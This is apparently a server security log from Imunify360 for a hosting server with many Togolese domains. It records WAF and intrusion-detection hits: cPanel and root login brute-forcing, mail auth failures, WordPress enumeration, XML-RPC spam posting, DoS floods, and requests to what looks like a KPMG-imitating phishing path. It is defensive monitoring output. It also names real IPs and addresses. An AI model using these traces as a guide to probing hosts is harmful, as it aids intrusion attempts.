43.173.178.41 - - [02/Jul/2026:05:35:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9920870&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9669&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782970514 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=9669" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.41


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:05:35:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314646&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252F223e0c8cca861474d24cfd8905cb5776%252F8c32bedce4ca929e901353d4db9eebcc%252Findex.php%253Fcmd%253Dnewupld%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782970514 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/223e0c8cca861474d24cfd8905cb5776/8c32bedce4ca929e901353d4db9eebcc/index.php?cmd=newupld/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.163
country_id: 2993457
description:
Jul  2 05:38:06 ns5 pure-ftpd[3144932]: (?@194.165.16.163) [INFO] New connection from 194.165.16.163


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:05:43:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328168&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Fffb26351ca0884cdba0fbb3b179a3b22%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782971033 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/ffb26351ca0884cdba0fbb3b179a3b22/index.php?cmd=login/" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.85.189
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-zlecaf-salue-la-decision-du-togo-sur-la-libre-circulation-des-africains/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.85.189
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/la-zlecaf-salue-la-decision-du-togo-sur-la-libre-circulation-des-africains/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 32.186.121.187
country_id: 6252001
description:
32.186.121.187 - - [02/Jul/2026:05:46:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607321&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F6ceb254a8cb5490cf313a3dfacf56698%252F20b8a46017f76205f06cbecfe393b213%252F08b9490acaf62e0f596b4db023f7d0a5%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782971169 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/6ceb254a8cb5490cf313a3dfacf56698/20b8a46017f76205f06cbecfe393b213/08b9490acaf62e0f596b4db023f7d0a5/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:32.186.121.187


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 145.239.69.106
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2114||QS:add-to-cart=2114||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 145.239.69.106
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2116||QS:add-to-cart=2116||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.154.127.136
country_id: 174982
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:94.154.127.136||TA:94.154.127.136||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [02/Jul/2026:05:56:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278056&pdata=http%253A%252F%252Fwellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782971760 HTTP/1.1" 302 0 wellcity.tg "http://wellcity.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 195.74.93.162
country_id: 798549
domain: lasnb.com
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.204
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:193.42.245.204||TA:193.42.245.204||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.158.13.123
country_id: 6252001
description:
[2026-07-02 06:00:33 +0000] info [whostmgrd] 73.158.13.123 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 216.26.234.75
country_id: 6252001
domain: brmn.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/wp-content/plugins/suretriggers/readme.txt||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.190
country_id: 3017382
domain: ese2i.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.28.243.190||TA:104.28.243.190||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.24
country_id: 732800
description:
Jul  2 06:06:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.24.126.135
country_id: 614540
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=394 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.105.178.190
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=1&paged=7 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.226.231
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1372 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.97.42.69
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=138 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.192.98
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=44 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.23.112
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1801 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.193.198.214
country_id: 357994
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2089 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.227.154.51
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=339 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.192.25
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=745 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.151.150
country_id: 953987
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1887 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.100.235.202
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=345 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.178.209.6
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1914 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.81.237.194
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/integration-energetique-le-togo-prepare-son-interconnexion-gaziere/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.98.35.172
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/06/2e034e38c062851b214e66c4b19fe1d7_L.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.81.237.194
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/integration-energetique-le-togo-prepare-son-interconnexion-gaziere/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.121.64.123
country_id: 3437598
description:
2026-07-02 06:11:25 dovecot_plain authenticator failed for H=([69.172.210.47]) [181.121.64.123]:59952: 535 Incorrect authentication data (set_id=marketing@togocarrierebetons.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.58.79.42
country_id: 1269750
description:
152.58.79.42 - - [02/Jul/2026:06:11:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13394891&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-379057retidm78dar.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782972667 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-379057retidm78dar.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.58.79.42


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.249.159.212
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.107.143.95
country_id: 6252001
description:
[2026-07-02 06:20:23 +0000] info [whostmgrd] 70.107.143.95 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 98.80.4.99
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 98.80.4.99: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [02/Jul/2026:06:20:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999462&pdata=https%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782973236 HTTP/2.0" 302 0 gfcusr.mediatopnews.tg "https://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 98.80.4.99
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 98.80.4.99: 218 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [02/Jul/2026:06:23:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7129451&pdata=http%253A%252F%252Fxhhehr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782973413 HTTP/1.1" 302 0 xhhehr.mediatopnews.tg "http://xhhehr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 06:25:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:39514: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.27.186
country_id: 1605651
domain: togosnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togosnb.snb.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.63.100.67
country_id: 2017370
description:
[2026-07-02 06:27:23 +0000] info [cpaneld] 92.63.100.67 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.155.195
country_id: 2921044
description:
[2026-07-02 06:29:35 +0000] info [whostmgrd] 185.213.155.195 - cp909049p23 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.127.132.189
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 06:32:00 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38258: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 06:32:07 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57036: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7cbd46105403283c734522bc34564952050094d7||Title:lq9azzvk67huck||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:19a585ccfe44bd3adbb0a145efd5608f213badb4||Title:wqfoneellpx12jt8||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d281f996f8de01aaacfe03383dc4f49a6598c2f7||Title:r12ppqzck8vipinhit||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 195.201.111.82
country_id: 2921044
domain: lvdt.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.189.103
country_id: 2963597
description:
[2026-07-02 06:36:36 +0000] info [cpaneld] 146.70.189.103 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78b0e5c35f5b28fc597d2e4b00ada43d0eae9161||Title:a0ln0utml3cm9sas||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.72.20
country_id: 2363686
description:
[2026-07-02 06:37:42 +0000] info [webmaild] 80.248.72.20 - support@cloud-et-racks.tg "POST /cpsess6035755261/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [80.248.72.20]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d43385c93309c7ca68678532a550c4bc96fd273||Title:7socw7960rrl519m||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 06:37:18 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37748: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c069a84a0fc5930d36c874cddf5250687f29b082||Title:rtxl83hw2w12r7||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.83.238
country_id: 1861060
domain: www.myworkafrica.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:108.165.83.238||TA:108.165.83.238||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.189.103
country_id: 2963597
description:
[2026-07-02 06:39:28 +0000] info [cpaneld] 146.70.189.103 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:155ca018c12fbd88cf0788fd46cfc2bd6f45ada7||Title:qoa5tdjlsg70zm0||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.196.235
country_id: 719819
description:
[2026-07-02 06:41:47 +0000] info [cpaneld] 146.70.196.235 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c0fa11537c7309a1a9bf686f90ee820cff9e147b||Title:mwkm66esrllm3v||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 164.152.167.229
country_id: 1880251
description:
[2026-07-02 06:41:07 +0000] info [cpaneld] 164.152.167.229 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:13c5e3a6cd1db4564bb4a7096f68aefc6768d871||Title:qaikmus91mrl1sm||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2233bb232deef55a01d50c90684f707fdd799ab4||Title:cn2ly491do6i2j||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.63.235
country_id: 3469034
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:108.165.63.235||TA:108.165.63.235||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aff723637a81e43fce6871480372fd49668a7946||Title:kxt26v6tcvn2rnramb||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.137.82
country_id: 1512440
description:
2026-07-02 06:44:17 H=([185.139.137.82]) [185.139.137.82]:24385 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.180.139
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bc7117acb95ff973227b4bbbf5bfd0acec87e706||Title:9zoe1gt442d945imu||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.21
country_id: 6252001
description:
205.169.39.21 - - [02/Jul/2026:06:50:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211033&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782975028 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.21


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
205.169.39.13 - - [02/Jul/2026:06:51:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937367&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782975075 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.25
country_id: 6252001
description:
205.169.39.25 - - [02/Jul/2026:06:52:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919879&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782975166 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.25


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
